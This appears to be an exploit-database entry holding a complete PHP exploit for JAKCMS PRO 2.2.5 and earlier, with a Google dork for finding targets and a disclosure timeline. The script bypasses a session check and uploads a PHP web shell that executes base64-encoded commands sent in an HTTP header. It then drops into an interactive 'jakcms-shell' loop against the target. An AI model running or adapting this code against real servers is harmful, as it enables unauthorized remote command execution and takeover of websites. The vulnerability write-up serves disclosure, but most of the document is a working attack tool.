JAKCMS PRO <= 2.2.5 Remote Arbitrary File Upload Exploit

Code:

# Exploit Title: JAKCMS PRO <= 2.2.5 Remote Arbitrary File Upload Exploit
# Google Dork: "Powered By JAKCMS"
# Date: 21/09/2011
# Author: EgiX
# Software Link: http://www.jakcms.com/
# Version: 2.2.5
# Tested on: Windows 7 and Debian 6.0.2
 
<?php
 
 
 
/*
 
    --------------------------------------------------------
 
    JAKCMS PRO <= 2.2.5 Remote Arbitrary File Upload Exploit
 
    --------------------------------------------------------
 
     
 
    author..........: EgiX
 
    mail............: n0b0d13s[at]gmail[dot]com
 
    software link...: http://www.jakcms.com/
 
     
 
    This PoC was written for educational purpose. Use it at your own risk.
 
    Author will be not responsible for any damage.
 
     
 
    [-] vulnerable code in /js/editor/plugins/jakadminexplorer/php/session.php
 
     
 
    119.    if ($SESSION["check_session_variable"] != "") {
 
    120.   
 
    121.        // Session Starten
 
    122.        session_start();
 
    123.   
 
    124.        // Session-Variable überprüfen
 
    125.        if (!isset($_SESSION[$SESSION["check_session_variable"]])) {
 
    126.            include("error.php");
 
    127.            die;
 
    128.        }
 
    129.    }
 
     
 
    This authentication schema could be bypassed due to an attacker might be able to start a session accessing to /index.php that set
 
    for e.g. the "jak_lastURL" session variable, so could be set $SESSION["check_session_variable"] to bypass the check at line 125.
 
    Successful exploitation allows attackers access to plugins functionality (see /js/editor/plugins/jakadminexplorer/php/action.php),
 
    in this way an attacker could be able to "delete", "create", "rename" any folder/file into webserver or upload arbitrary files.
 
    The same vulnerability afflicts also jakadminimage, jakusrexplorer and jakusrimage plugins.
 
     
 
    [-] Disclosure timeline:
 
     
 
    [15/09/2011] - Vulnerability discovered
 
    [16/09/2011] - Issue reported to http://www.jakcms.com/tracker/t/61/security-flaw-imagefilemanager
 
    [16/09/2011] - Vendor fix released in version 2.2.6
 
    [21/09/2011] - Public disclosure
 
     
 
*/
 
 
 
error_reporting(0);
 
set_time_limit(0);
 
ini_set("default_socket_timeout", 5);
 
 
 
function http_send($host, $packet)
 
{
 
    if (!($sock = fsockopen($host, 80)))
 
        die("\n[-] No response from {$host}:80\n");
 
  
 
    fputs($sock, $packet);
 
    return stream_get_contents($sock);
 
}
 
 
 
function RC4($data)
 
{
 
    $key = "asvKHQFkoobdwdin4bi30xzb003ufkxS3Fu3HArhBnlIk5pr3D6OGSKvUbso1rtne42VekxwUmOtPgmcA1iYC6lrpWP7HXq6VdB8EnbzR0L8rIHMqSY8mIi0o3ROzZWe";
 
    $s = range(0, 256);
 
    $j = 0;
 
 
 
    for ($i = 0; $i < 256; $i++)
 
    {
 
        $j = ($j + $s[$i] + ord($key[$i % strlen($key)])) % 256;
 
        $x = $s[$i];
 
        $s[$i] = $s[$j];
 
        $s[$j] = $x;
 
    }
 
     
 
    $i = $j = 0;
 
    $ct = "";
 
     
 
    for ($y = 0; $y < strlen($data); $y++)
 
    {
 
        $i = ($i + 1) % 256;
 
        $j = ($j + $s[$i]) % 256;
 
        $x = $s[$i];
 
        $s[$i] = $s[$j];
 
        $s[$j] = $x;
 
        $ct .= $data[$y] ^ chr($s[($s[$i] + $s[$j]) % 256]);
 
    }
 
     
 
    return $ct;
 
}
 
 
 
print "\n+------------------------------------------------------------------+";
 
print "\n| JAKCMS PRO <= 2.2.5 Remote Arbitrary File Upload Exploit by EgiX |";
 
print "\n+------------------------------------------------------------------+\n";
 
  
 
if ($argc < 3)
 
{
 
    print "\nUsage......: php $argv[0] <host> <path>\n";
 
    print "\nExample....: php $argv[0] localhost /";
 
    print "\nExample....: php $argv[0] localhost /jakcms/\n";
 
    die();
 
}
 
 
 
$host = $argv[1];
 
$path = $argv[2];
 
 
 
$packet  = "GET {$path} HTTP/1.0\r\n";
 
$packet .= "Host: {$host}\r\n";
 
$packet .= "Connection: close\r\n\r\n";
 
 
 
preg_match("/PHPSESSID=([^;]*);/i", http_send($host, $packet), $m);
 
$sid = $m[1];
 
 
 
$payload  = "--o0oOo0o\r\n";
 
$payload .= "Content-Disposition: form-data; name=\"edit1\"\r\n\r\n.php\r\n";
 
$payload .= "--o0oOo0o\r\n";
 
$payload .= "Content-Disposition: form-data; name=\"input1\"; filename=\"foo\"\r\n\r\n";
 
$payload .= "<?php \${error_reporting(0)}.\${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))} ?>\r\n";
 
$payload .= "--o0oOo0o--\r\n";
 
 
 
$get = bin2hex(RC4("id=1&check_session_variable=jak_lastURL&upload_filetype=php&dir={$path}cache/sh"));
 
 
 
$packet  = "POST {$path}js/editor/plugins/jakadminexplorer/?action=upload&get={$get} HTTP/1.0\r\n";
 
$packet .= "Host: {$host}\r\n";
 
$packet .= "Cookie: PHPSESSID={$sid}\r\n";
 
$packet .= "Content-Length: ".strlen($payload)."\r\n";
 
$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n";
 
$packet .= "Connection: close\r\n\r\n";
 
$packet .= $payload;
 
 
 
if (preg_match("/Error/", http_send($host, $packet))) die("\n[-] Upload failed!\n");
 
 
 
$packet  = "GET {$path}cache/sh.php HTTP/1.0\r\n";
 
$packet .= "Host: {$host}\r\n";
 
$packet .= "Cmd: %s\r\n";
 
$packet .= "Connection: close\r\n\r\n";
 
     
 
while(1)
 
{
 
    print "\njakcms-shell# ";
 
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
 
    preg_match("/_code_(.*)/s", http_send($host, sprintf($packet, base64_encode($cmd))), $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
 
}
 
 
 
?>

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